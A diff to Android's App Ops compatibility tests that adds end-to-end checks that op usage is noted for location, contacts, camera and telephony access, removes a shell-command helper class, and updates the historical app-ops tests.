+ assumeTrue("Could not get location", false)
+ }
+
+ eventually {
+ assertThat(asyncNoted.map { it.op }).containsAnyOf(OPSTR_COARSE_LOCATION,
+ OPSTR_FINE_LOCATION)
+ assertThat(asyncNoted[0].featureId).isEqualTo(TEST_FEATURE_ID)
+
+ assertThat(asyncNoted[0].message).contains(locationListener::class.java.name)
+ assertThat(asyncNoted[0].message).contains(
+ Integer.toHexString(System.identityHashCode(locationListener)))
+ }
+ }
+
+ /**
+ * Realistic end-to-end test for getting called back for a proximity alert
+ */
+ @Test
+ fun triggerProximityAlert() {
+ val PROXIMITY_ALERT_ACTION = "proxAlert"
+
+ val gotProximityAlert = CompletableFuture<Unit>()
+
+ val locationManager = context.createFeatureContext(TEST_FEATURE_ID)
+ .getSystemService(LocationManager::class.java)!!
+
+ val proximityAlertReceiver = object : BroadcastReceiver() {
+ override fun onReceive(context: Context, intent: Intent) {
+ gotProximityAlert.complete(Unit)
+ }
+ }
+
+ context.registerReceiver(proximityAlertReceiver, IntentFilter(PROXIMITY_ALERT_ACTION))
+ try {
+ val proximityAlertReceiverPendingIntent = PendingIntent.getBroadcast(context, 0,
+ Intent(PROXIMITY_ALERT_ACTION).setPackage(myPackage)
+ .setFlags(Intent.FLAG_RECEIVER_FOREGROUND),
+ PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_ONE_SHOT)
+
+ locationManager.addProximityAlert(0.0, 0.0, Float.MAX_VALUE, TIMEOUT_MILLIS,
+ proximityAlertReceiverPendingIntent)
+ try {
+ try {
+ gotProximityAlert.get(TIMEOUT_MILLIS, MILLISECONDS)
+ } catch (e: TimeoutException) {
+ assumeTrue("Could not get proximity alert", false)
+ }
+
+ eventually {
+ assertThat(asyncNoted.map { it.op }).contains(OPSTR_FINE_LOCATION)
+ assertThat(asyncNoted[0].featureId).isEqualTo(TEST_FEATURE_ID)
+
+ assertThat(asyncNoted[0].message).contains(
+ proximityAlertReceiverPendingIntent::class.java.name)
+ assertThat(asyncNoted[0].message).contains(
+ Integer.toHexString(
+ System.identityHashCode(proximityAlertReceiverPendingIntent)))
+ }
+ } finally {
+ locationManager.removeProximityAlert(proximityAlertReceiverPendingIntent)
+ }
+ } finally {
+ context.unregisterReceiver(proximityAlertReceiver)
+ }
+ }
+
+ /**
+ * Realistic end-to-end test for reading all contacts
+ */
+ @Test
+ fun readFromContactsProvider() {
+ context.createFeatureContext("test").contentResolver
+ .query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null)
+
+ assertThat(noted.map { it.first.op }).containsExactly(OPSTR_READ_CONTACTS)
+ assertThat(noted[0].first.featureId).isEqualTo("test")
+ assertThat(noted[0].second.map { it.methodName }).contains("readFromContactsProvider")
+ }
+
+ /**
+ * Realistic end-to-end test for adding a new contact
+ */
+ @Test
+ fun writeToContactsProvider() {
+ context.createFeatureContext("test").contentResolver
+ .insert(ContactsContract.RawContacts.CONTENT_URI, ContentValues())
+
+ assertThat(noted.map { it.first.op }).containsExactly(OPSTR_WRITE_CONTACTS)
+ assertThat(noted[0].first.featureId).isEqualTo("test")
+ assertThat(noted[0].second.map { it.methodName }).contains("writeToContactsProvider")
+ }
+
+ /**
+ * Realistic end-to-end test for getting cell info
+ */
+ @Test
+ fun getCellInfo() {
+ assumeTrue(context.packageManager.hasSystemFeature(FEATURE_TELEPHONY))
+
+ val telephonyManager = context.createFeatureContext(TEST_FEATURE_ID)
+ .getSystemService(TelephonyManager::class.java)
+
+ telephonyManager.allCellInfo
+
+ assertThat(noted[0].first.op).isEqualTo(OPSTR_FINE_LOCATION)
+ assertThat(noted[0].first.featureId).isEqualTo(TEST_FEATURE_ID)
+ assertThat(noted[0].second.map { it.methodName }).contains("getCellInfo")
+ }
+
+ private fun openCamera(context: Context) {
+ val cameraManager = context.getSystemService(CameraManager::class.java)
+
+ val openedCamera = CompletableFuture<CameraDevice>()
+
+ assumeTrue(cameraManager.cameraIdList.isNotEmpty())
+
+ cameraManager.openCamera(cameraManager.cameraIdList[0], { it.run() },
+ object : CameraDevice.StateCallback() {
+ override fun onOpened(camera: CameraDevice) {
+ openedCamera.complete(camera)
+ }
+
+ override fun onDisconnected(camera: CameraDevice) {}
+ override fun onError(camera: CameraDevice, error: Int) {}
+ })
+
+ openedCamera.get(TIMEOUT_MILLIS, MILLISECONDS).close()
+
+ eventually {
+ assertThat(asyncNoted[0].op).isEqualTo(OPSTR_CAMERA)
+ assertThat(asyncNoted[0].featureId).isEqualTo(context.featureId)
+ assertThat(asyncNoted[0].message).contains(cameraManager.cameraIdList[0])
+ }
+ }
+
+ /**
+ * Realistic end-to-end test for opening camera
+ */
+ @Test
+ fun openCameraWithFeature() {
+ openCamera(context.createFeatureContext(TEST_FEATURE_ID))
+ }
+
+ /**
+ * Realistic end-to-end test for opening camera. This uses the default (==null) feature. This
+ * is interesting as null feature handling is more complex in native code.
+ */
+ @Test
+ fun openCameraWithDefaultFeature() {
+ openCamera(context.createFeatureContext(null))
+ }
+
+ /**
+ * Realistic end-to-end test for getting cell info
+ */
+ @Test
+ fun getMultiSimSupport() {
+ assumeTrue(context.packageManager.hasSystemFeature(FEATURE_TELEPHONY))
+
+ val telephonyManager = context.createFeatureContext(TEST_FEATURE_ID)
+ .getSystemService(TelephonyManager::class.java)
+
+ telephonyManager.isMultiSimSupported
+
+ assertThat(noted[0].first.op).isEqualTo(OPSTR_READ_PHONE_STATE)
+ assertThat(noted[0].first.featureId).isEqualTo(TEST_FEATURE_ID)
+ assertThat(noted[0].second.map { it.methodName }).contains("getMultiSimSupport")
+ }
+
+ /**
+ * Realistic end-to-end test for getting wallpaper
+ */
+ @Test
+ fun getWallpaper() {
+ val wallpaperManager = context.createFeatureContext(TEST_FEATURE_ID)
+ .getSystemService(WallpaperManager::class.java)
+
+ wallpaperManager.getWallpaperFile(FLAG_SYSTEM)
+
+ assertThat(noted[0].first.op).isEqualTo(OPSTR_READ_EXTERNAL_STORAGE)
+ assertThat(noted[0].first.featureId).isEqualTo(TEST_FEATURE_ID)
+ assertThat(noted[0].second.map { it.methodName }).contains("getWallpaper")
+ }
+
+ @After
+ fun removeNotedAppOpsCollector() {
+ appOpsManager.setNotedAppOpsCollector(null)
+ }
+
+ @After
+ fun disconnectFromService() {
+ context.unbindService(serviceConnection)
+ }
+
+ /**
+ * Calls various noteOp-like methods in binder calls called by
+ * {@link android.app.appops.cts.appthatusesappops.AppOpsUserService}
+ */
+ private class AppOpsUserClient(
+ context: Context,
+ val testService: IAppOpsUserService? = null
+ ) : IAppOpsUserClient.Stub() {
+ private val handler = Handler(Looper.getMainLooper())
+ private val appOpsManager = context.getSystemService(AppOpsManager::class.java)
+
+ private val myUid = android.os.Process.myUid()
+ private val myPackage = context.packageName
+
+ override fun noteSyncOp() {
+ runWithShellPermissionIdentity {
+ appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, getCallingUid(),
+ TEST_SERVICE_PKG, null, null)
+ }
+ }
+
+ override fun noteSyncOpWithFeature(featureId: String) {
+ runWithShellPermissionIdentity {
+ appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, getCallingUid(),
+ TEST_SERVICE_PKG, featureId, null)
+ }
+ }
+
+ override fun callBackIntoService() {
+ runWithShellPermissionIdentity {
+ appOpsManager.noteOpNoThrow(OPSTR_FINE_LOCATION, getCallingUid(),
+ TEST_SERVICE_PKG, null, null)
+ }
+
+ testService?.callApiThatNotesSyncOpAndClearLog(this)
+ }
+
+ override fun noteNonPermissionSyncOp() {
+ runWithShellPermissionIdentity {
+ appOpsManager.noteOpNoThrow(OPSTR_ACCESS_ACCESSIBILITY, getCallingUid(),
+ TEST_SERVICE_PKG, null, null)
+ }
+ }
+
+ override fun noteSyncOpTwice() {
+ noteSyncOp()
+ noteSyncOp()
+ }
+
+ override fun noteTwoSyncOp() {
+ runWithShellPermissionIdentity {
+ appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, getCallingUid(),
+ TEST_SERVICE_PKG, null, null)
+
+ appOpsManager.noteOpNoThrow(OPSTR_GET_ACCOUNTS, getCallingUid(), TEST_SERVICE_PKG,
+ null, null)
+ }
+ }
+
+ override fun noteSyncOpNative() {
+ runWithShellPermissionIdentity {
+ nativeNoteOp(strOpToOp(OPSTR_COARSE_LOCATION), getCallingUid(), TEST_SERVICE_PKG)
+ }
+ }
+
+ override fun noteNonPermissionSyncOpNative() {
+ runWithShellPermissionIdentity {
+ nativeNoteOp(strOpToOp(OPSTR_ACCESS_ACCESSIBILITY), getCallingUid(),
+ TEST_SERVICE_PKG)
+ }
+ }
+
+ override fun noteSyncOpOneway() {
+ runWithShellPermissionIdentity {
+ appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, getCallingUid(),
+ TEST_SERVICE_PKG, null, null)
+ }
+ }
+
+ override fun noteSyncOpOnewayNative() {
+ runWithShellPermissionIdentity {
+ nativeNoteOp(strOpToOp(OPSTR_COARSE_LOCATION), getCallingUid(), TEST_SERVICE_PKG)
+ }
+ }
+
+ override fun noteSyncOpOtherUid() {
+ appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, myUid, myPackage, null, null)
+ }
+
+ override fun noteSyncOpOtherUidNative() {
+ nativeNoteOp(strOpToOp(OPSTR_COARSE_LOCATION), myUid, myPackage)
+ }
+
+ override fun noteAsyncOp() {
+ val callingUid = getCallingUid()
+
+ handler.post {
+ runWithShellPermissionIdentity {
+ appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, callingUid, TEST_SERVICE_PKG,
+ null, null)
+ }
+ }
+ }
+
+ override fun noteAsyncOpWithFeature(featureId: String) {
+ val callingUid = getCallingUid()
+
+ handler.post {
+ runWithShellPermissionIdentity {
+ appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, callingUid, TEST_SERVICE_PKG,
+ featureId, null)
+ }
+ }
+ }
+
+ override fun noteAsyncOpWithCustomMessage() {
+ val callingUid = getCallingUid()
+
+ handler.post {
+ runWithShellPermissionIdentity {
+ appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, callingUid, TEST_SERVICE_PKG,
+ null, "custom msg")
+ }
+ }
+ }
+
+ override fun noteAsyncOpNative() {
+ val callingUid = getCallingUid()
+
+ handler.post {
+ runWithShellPermissionIdentity {
+ nativeNoteOp(strOpToOp(OPSTR_COARSE_LOCATION), callingUid, TEST_SERVICE_PKG)
+ }
+ }
+ }
+
+ override fun noteAsyncOpNativeWithCustomMessage() {
+ val callingUid = getCallingUid()
+
+ handler.post {
+ runWithShellPermissionIdentity {
+ nativeNoteOp(strOpToOp(OPSTR_COARSE_LOCATION), callingUid, TEST_SERVICE_PKG,
+ message = "native custom msg")
+ }
+ }
+ }
+ }
+}
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index c358913..626cdc8 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -31,18 +31,14 @@
import android.app.AppOpsManager.OPSTR_RECORD_AUDIO
import android.app.AppOpsManager.OPSTR_WRITE_CALENDAR
-import android.app.appops.cts.AppOpsUtils.Companion.allowedOperationLogged
-import android.app.appops.cts.AppOpsUtils.Companion.rejectedOperationLogged
-import android.app.appops.cts.AppOpsUtils.Companion.setOpMode
-
import org.mockito.Mockito.mock
-import org.mockito.Mockito.reset
import org.mockito.Mockito.timeout
import org.mockito.Mockito.verify
import org.mockito.Mockito.verifyZeroInteractions
import android.Manifest.permission
import android.app.AppOpsManager
+import android.app.AppOpsManager.OPSTR_FINE_LOCATION
import android.app.AppOpsManager.OnOpChangedListener
import android.content.Context
import android.os.Process
@@ -50,21 +46,25 @@
import androidx.test.InstrumentationRegistry
import org.junit.Before
-import org.junit.Ignore
import org.junit.Test
import org.junit.runner.RunWith
+import org.mockito.Mockito
import java.util.HashMap
import java.util.HashSet
+import java.util.concurrent.CompletableFuture
+import java.util.concurrent.Executor
+import java.util.concurrent.TimeUnit
@RunWith(AndroidJUnit4::class)
class AppOpsTest {
// Notifying OnOpChangedListener callbacks is an async operation, so we define a timeout.
- private val MODE_WATCHER_TIMEOUT_MS = 5000L
+ private val TIMEOUT_MS = 5000L
private lateinit var mAppOps: AppOpsManager
private lateinit var mContext: Context
private lateinit var mOpPackageName: String
+ private val mMyUid = Process.myUid()
companion object {
// These permissions and opStrs must map to the same op codes.
@@ -137,7 +137,7 @@
mOpPackageName = mContext.opPackageName
assertNotNull(mAppOps)
// Reset app ops state for this test package to the system default.
- AppOpsUtils.reset(mOpPackageName)
+ reset(mOpPackageName)
}
@Test
@@ -223,6 +223,106 @@
}
@Test
+ fun overlappingActiveFeatureOps() {
+ runWithShellPermissionIdentity {
+ val gotActive = CompletableFuture<Unit>()
+ val gotInActive = CompletableFuture<Unit>()
+
+ val activeWatcher =
+ AppOpsManager.OnOpActiveChangedListener { _, _, packageName, active ->
+ if (packageName == mOpPackageName) {
+ if (active) {
+ assertFalse(gotActive.isDone)
+ gotActive.complete(Unit)
+ } else {
+ assertFalse(gotInActive.isDone)
+ gotInActive.complete(Unit)
+ }
+ }
+ }
+
+ mAppOps.startWatchingActive(arrayOf(OPSTR_WRITE_CALENDAR), Executor { it.run() },
+ activeWatcher)
+ try {
+ mAppOps.startOp(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName, "feature1", null)
+ assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName))
+ gotActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS)
+
+ mAppOps.startOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
+ "feature2", null)
+ assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName))
+ assertFalse(gotInActive.isDone)
+
+ mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
+ "feature1")
+
+ // Allow some time for premature "watchingActive" callbacks to arrive
+ Thread.sleep(500)
+
+ assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName))
+ assertFalse(gotInActive.isDone)
+
+ mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
+ "feature2")
+ assertFalse(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName))
+ gotInActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS)
+ } finally {
+ mAppOps.stopWatchingActive(activeWatcher)
+ }
+ }
+ }
+
+ @Test
+ fun finishOpWithoutStartOp() {
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ }
+
+ @Test
+ fun doubleFinishOpStartOp() {
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.startOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ }
+
+ @Test
+ fun doubleFinishOpAfterDoubleStartOp() {
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.startOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ mAppOps.startOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ }
+
+ @Test
+ fun noteOpWhileOpIsActive() {
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.startOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.noteOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ }
+
+ @Test
fun testCheckPackagePassesCheck() {
mAppOps.checkPackage(Process.myUid(), mOpPackageName)
mAppOps.checkPackage(Process.SYSTEM_UID, "android")
@@ -261,19 +361,19 @@
mAppOps.startWatchingMode(OPSTR_WRITE_CALENDAR, mOpPackageName, watcher)
// Make a change to the app op's mode.
- reset(watcher)
+ Mockito.reset(watcher)
setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ERRORED)
- verify(watcher, timeout(MODE_WATCHER_TIMEOUT_MS))
+ verify(watcher, timeout(TIMEOUT_MS))
.onOpChanged(OPSTR_WRITE_CALENDAR, mOpPackageName)
// Make another change to the app op's mode.
- reset(watcher)
+ Mockito.reset(watcher)
setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ALLOWED)
- verify(watcher, timeout(MODE_WATCHER_TIMEOUT_MS))
+ verify(watcher, timeout(TIMEOUT_MS))
.onOpChanged(OPSTR_WRITE_CALENDAR, mOpPackageName)
// Set mode to the same value as before - expect no call to the listener.
- reset(watcher)
+ Mockito.reset(watcher)
setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ALLOWED)
verifyZeroInteractions(watcher)
@@ -281,7 +381,7 @@
// Make a change to the app op's mode. Since we already stopped watching the mode, the
// listener shouldn't be called.
- reset(watcher)
+ Mockito.reset(watcher)
setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ERRORED)
verifyZeroInteractions(watcher)
} finally {
@@ -404,6 +504,43 @@
}
}
+ @Test
+ fun noteOpForBadUid() {
+ runWithShellPermissionIdentity {
+ val mode = mAppOps.noteOpNoThrow(OPSTR_RECORD_AUDIO, Process.myUid() + 1,
+ mOpPackageName)
+ assertEquals(mode, MODE_ERRORED)
+ }
+ }
+
+ @Test
+ fun startOpForBadUid() {
+ runWithShellPermissionIdentity {
+ val mode = mAppOps.startOpNoThrow(OPSTR_RECORD_AUDIO, Process.myUid() + 1,
+ mOpPackageName)
+ assertEquals(mode, MODE_ERRORED)
+ }
+ }
+
+ @Test
+ fun checkOpForBadUid() {
+ val defaultMode = AppOpsManager.opToDefaultMode(OPSTR_RECORD_AUDIO)
+
+ runWithShellPermissionIdentity {
+ mAppOps.setUidMode(OPSTR_RECORD_AUDIO, Process.myUid(), MODE_ERRORED)
+ try {
+ val mode = mAppOps.unsafeCheckOpNoThrow(OPSTR_RECORD_AUDIO, Process.myUid() + 1,
+ mOpPackageName)
+
+ // For invalid uids checkOp return the default mode
+ assertEquals(mode, defaultMode)
+ } finally {
+ // Clear the uid state
+ mAppOps.setUidMode(OPSTR_RECORD_AUDIO, Process.myUid(), defaultMode)
+ }
+ }
+ }
+
private fun runWithShellPermissionIdentity(command: () -> Unit) {
val uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation()
uiAutomation.adoptShellPermissionIdentity()
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsUtils.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsUtils.kt
deleted file mode 100644
index abdee1e..0000000
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsUtils.kt
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) 2018 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.appops.cts
-
-import androidx.test.InstrumentationRegistry
-import com.android.compatibility.common.util.SystemUtil
-
-import android.app.AppOpsManager.MODE_ALLOWED
-import android.app.AppOpsManager.MODE_DEFAULT
-import android.app.AppOpsManager.MODE_ERRORED
-import android.app.AppOpsManager.MODE_IGNORED
-import com.android.compatibility.common.util.ThrowingRunnable
-
-/**
- * Utilities for controlling App Ops settings, and testing whether ops are logged.
- */
-class AppOpsUtils {
- companion object {
- /**
- * Resets a package's app ops configuration to the device default. See AppOpsManager for the
- * default op settings.
- *
- * <p>
- * It's recommended to call this in setUp() and tearDown() of your test so the test starts and
- * ends with a reproducible default state, and so doesn't affect other tests.
- *
- * <p>
- * Some app ops are configured to be non-resettable, which means that the state of these will
- * not be reset even when calling this method.
- */
- fun reset(packageName: String): String {
- return runCommand("appops reset $packageName")
- }
-
- /**
- * Sets the app op mode (e.g. allowed, denied) for a single package and operation.
- */
- fun setOpMode(packageName: String, opStr: String, mode: Int) : String {
- val modeStr: String
- when (mode) {
- MODE_ALLOWED -> modeStr = "allow"
- MODE_ERRORED -> modeStr = "deny"
- MODE_IGNORED -> modeStr = "ignore"
- MODE_DEFAULT -> modeStr = "default"
- else -> throw IllegalArgumentException("Unexpected app op type")
- }
- val command = "appops set $packageName $opStr $modeStr"
- return runCommand(command)
- }
-
- /**
- * Get the app op mode (e.g. MODE_ALLOWED, MODE_DEFAULT) for a single package and operation.
- */
- fun getOpMode(packageName: String, opStr: String) : Int {
- val opState = getOpState(packageName, opStr)
- when {
- opState.contains(" allow") -> return MODE_ALLOWED
- opState.contains(" deny") -> return MODE_ERRORED
- opState.contains(" ignore") -> return MODE_IGNORED
- opState.contains(" default") -> return MODE_DEFAULT
- else -> throw IllegalStateException ("Unexpected app op mode returned $opState")
- }
- }
-
- /**
- * Returns whether an allowed operation has been logged by the AppOpsManager for a
- * package. Operations are noted when the app attempts to perform them and calls e.g.
- * {@link AppOpsManager#noteOperation}.
- *
- * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
- */
- fun allowedOperationLogged(packageName: String, opStr: String): Boolean {
- return getOpState(packageName, opStr).contains(" time=")
- }
-
- /**
- * Returns whether a rejected operation has been logged by the AppOpsManager for a
- * package. Operations are noted when the app attempts to perform them and calls e.g.
- * {@link AppOpsManager#noteOperation}.
- *
- * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
- */
- fun rejectedOperationLogged(packageName: String, opStr: String) : Boolean {
- return getOpState(packageName, opStr).contains(" rejectTime=")
- }
-
- /**
- * Runs a [ThrowingRunnable] adopting Shell's permissions.
- */
- fun runWithShellPermissionIdentity(runnable: ThrowingRunnable) {
- val uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation()
- uiAutomation.adoptShellPermissionIdentity()
- try {
- runnable.run()
- } catch (e: Exception) {
- throw RuntimeException("Caught exception", e)
- } finally {
- uiAutomation.dropShellPermissionIdentity()
- }
- }
-
- /**
- * Returns the app op state for a package. Includes information on when the operation
- * was last attempted to be performed by the package.
- *
- * Format: "SEND_SMS: allow; time=+23h12m54s980ms ago; rejectTime=+1h10m23s180ms"
- */
- private fun getOpState(packageName: String, opStr: String) : String {
- return runCommand("appops get $packageName $opStr")
- }
-
- private fun runCommand(command: String ) : String {
- return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command)
- }
- }
-}
diff --git a/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt b/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
index 73a4516..62bc995 100644
--- a/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
@@ -19,31 +19,32 @@
import android.app.AppOpsManager
import android.app.AppOpsManager.HistoricalOp
import android.app.AppOpsManager.HistoricalOps
-import android.app.Instrumentation
-import android.content.Context
import android.os.Process
import android.os.SystemClock
+import android.provider.DeviceConfig
import androidx.test.InstrumentationRegistry
-import androidx.test.rule.ActivityTestRule
-import androidx.test.uiautomator.UiDevice
import androidx.test.runner.AndroidJUnit4
import com.google.common.truth.Truth.assertThat
import org.junit.After
import org.junit.Before
-import org.junit.Ignore
-import org.junit.Rule
import org.junit.Test
import org.junit.runner.RunWith
-import java.util.ArrayList
import java.util.concurrent.TimeUnit
import java.util.concurrent.locks.ReentrantLock
import java.util.function.Consumer
+import androidx.test.rule.ActivityTestRule
+import androidx.test.uiautomator.UiDevice
+import org.junit.Rule
+
+const val PROPERTY_PERMISSIONS_HUB_ENABLED = "permissions_hub_enabled"
@RunWith(AndroidJUnit4::class)
class HistoricalAppopsTest {
private val uid = Process.myUid()
- private var appOpsManager: AppOpsManager? = null
- private var packageName: String? = null
+ private lateinit var appOpsManager: AppOpsManager
+ private lateinit var packageName: String
+
+ private var wasPermissionsHubEnabled = false
// Start an activity to make sure this app counts as being in the foreground
@Rule @JvmField
@@ -51,58 +52,57 @@
@Before
fun wakeScreenUp() {
- val device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation())
- device.wakeUp()
- device.executeShellCommand("wm dismiss-keyguard")
+ val uiDevice = UiDevice.getInstance(instrumentation)
+ uiDevice.wakeUp()
+ uiDevice.executeShellCommand("wm dismiss-keyguard")
}
@Before
fun setUpTest() {
- appOpsManager = getContext().getSystemService(AppOpsManager::class.java)
- packageName = getContext().packageName
- val uiAutomation = getInstrumentation().getUiAutomation()
+ appOpsManager = context.getSystemService(AppOpsManager::class.java)!!
+ packageName = context.packageName!!
uiAutomation.adoptShellPermissionIdentity()
- appOpsManager!!.clearHistory()
- appOpsManager!!.resetHistoryParameters()
+ wasPermissionsHubEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+ PROPERTY_PERMISSIONS_HUB_ENABLED, false)
+ DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, PROPERTY_PERMISSIONS_HUB_ENABLED,
+ true.toString(), false)
+ appOpsManager.clearHistory()
+ appOpsManager.resetHistoryParameters()
}
@After
fun tearDownTest() {
- appOpsManager!!.clearHistory()
- appOpsManager!!.resetHistoryParameters()
- val uiAutomation = getInstrumentation().getUiAutomation()
+ appOpsManager.clearHistory()
+ appOpsManager.resetHistoryParameters()
+ DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, PROPERTY_PERMISSIONS_HUB_ENABLED,
+ wasPermissionsHubEnabled.toString(), false)
uiAutomation.dropShellPermissionIdentity()
}
- @Ignore("Feature is disabled in Android Q")
@Test
fun testGetHistoricalPackageOpsForegroundAccessInMemoryBucket() {
testGetHistoricalPackageOpsForegroundAtDepth(0)
}
- @Ignore("Feature is disabled in Android Q")
@Test
fun testGetHistoricalPackageOpsForegroundAccessFirstOnDiskBucket() {
testGetHistoricalPackageOpsForegroundAtDepth(1)
}
- @Ignore("Feature is disabled in Android Q")
@Test
fun testHistoricalAggregationOneLevelsDeep() {
testHistoricalAggregationSomeLevelsDeep(0)
}
- @Ignore("Feature is disabled in Android Q")
@Test
fun testHistoricalAggregationTwoLevelsDeep() {
testHistoricalAggregationSomeLevelsDeep(1)
}
- @Ignore("Feature is disabled in Android Q")
@Test
fun testHistoricalAggregationOverflow() {
// Configure historical registry behavior.
- appOpsManager!!.setHistoryParameters(
+ appOpsManager.setHistoryParameters(
AppOpsManager.HISTORICAL_MODE_ENABLED_PASSIVE,
SNAPSHOT_INTERVAL_MILLIS,
INTERVAL_COMPRESSION_MULTIPLIER)
@@ -111,36 +111,35 @@
val chunk = createDataChunk()
val chunkCount = (INTERVAL_COMPRESSION_MULTIPLIER * 2) + 3
for (i in 0 until chunkCount) {
- appOpsManager!!.addHistoricalOps(chunk)
+ appOpsManager.addHistoricalOps(chunk)
}
// Validate the data for the first interval
val firstIntervalBeginMillis = computeIntervalBeginRawMillis(0)
val firstIntervalEndMillis = computeIntervalBeginRawMillis(1)
- val firstOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
- null /*opNames*/, firstIntervalBeginMillis, firstIntervalEndMillis)
+ val firstOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+ firstIntervalBeginMillis, firstIntervalEndMillis)
assertHasCounts(firstOps!!, 197)
// Validate the data for the second interval
val secondIntervalBeginMillis = computeIntervalBeginRawMillis(1)
val secondIntervalEndMillis = computeIntervalBeginRawMillis(2)
- val secondOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
- null /*opNames*/, secondIntervalBeginMillis, secondIntervalEndMillis)
